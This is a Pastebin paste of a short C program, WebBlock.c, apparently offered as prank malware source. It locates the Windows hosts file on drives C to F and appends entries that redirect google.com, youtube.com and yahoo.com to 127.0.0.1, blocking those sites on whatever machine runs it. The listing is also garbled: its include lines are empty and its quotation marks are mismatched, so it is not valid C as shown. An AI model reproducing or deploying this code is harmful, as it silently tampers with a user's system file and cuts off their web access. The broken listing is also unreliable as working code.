Advertisement
FlyFar

WebBlock.c

Aug 19th, 2023
711
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.61 KB | Cybersecurity | 0 0
  1. #include
  2. #include
  3. #include
  4.  
  5. char site_list[6][30]={
  6. “google.com,
  7. “www.google.com,
  8. “youtube.com,
  9. “www.youtube.com,
  10. “yahoo.com,
  11. “www.yahoo.com
  12. };
  13. char ip[12]=”127.0.0.1″;
  14. FILE *target;
  15.  
  16. int find_root(void);
  17. void block_site(void);
  18.  
  19. int find_root()
  20. {
  21. int done;
  22. struct ffblk ffblk;//File block structure
  23.  
  24. done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
  25. /*to determine the root drive*/
  26. if(done==0)
  27. {
  28. target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+);
  29. /*to open the file*/
  30. return 1;
  31. }
  32.  
  33. done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
  34. /*to determine the root drive*/
  35. if(done==0)
  36. {
  37. target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+);
  38. /*to open the file*/
  39. return 1;
  40. }
  41.  
  42. done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
  43. /*to determine the root drive*/
  44. if(done==0)
  45. {
  46. target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+);
  47. /*to open the file*/
  48. return 1;
  49. }
  50.  
  51. done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
  52. /*to determine the root drive*/
  53. if(done==0)
  54. {
  55. target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+);
  56. /*to open the file*/
  57. return 1;
  58. }
  59.  
  60. else return 0;
  61. }
  62.  
  63. void block_site()
  64. {
  65. int i;
  66. fseek(target,0,SEEK_END); /*to move to the end of the file*/
  67.  
  68. fprintf(target,”\n”);
  69. for(i=0;i<6;i++)
  70. fprintf(target,%s\t%s\n”,ip,site_list[i]);
  71. fclose(target);
  72. }
  73.  
  74. void main()
  75. {
  76. int success=0;
  77. success=find_root();
  78. if(success)
  79. block_site();
  80. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement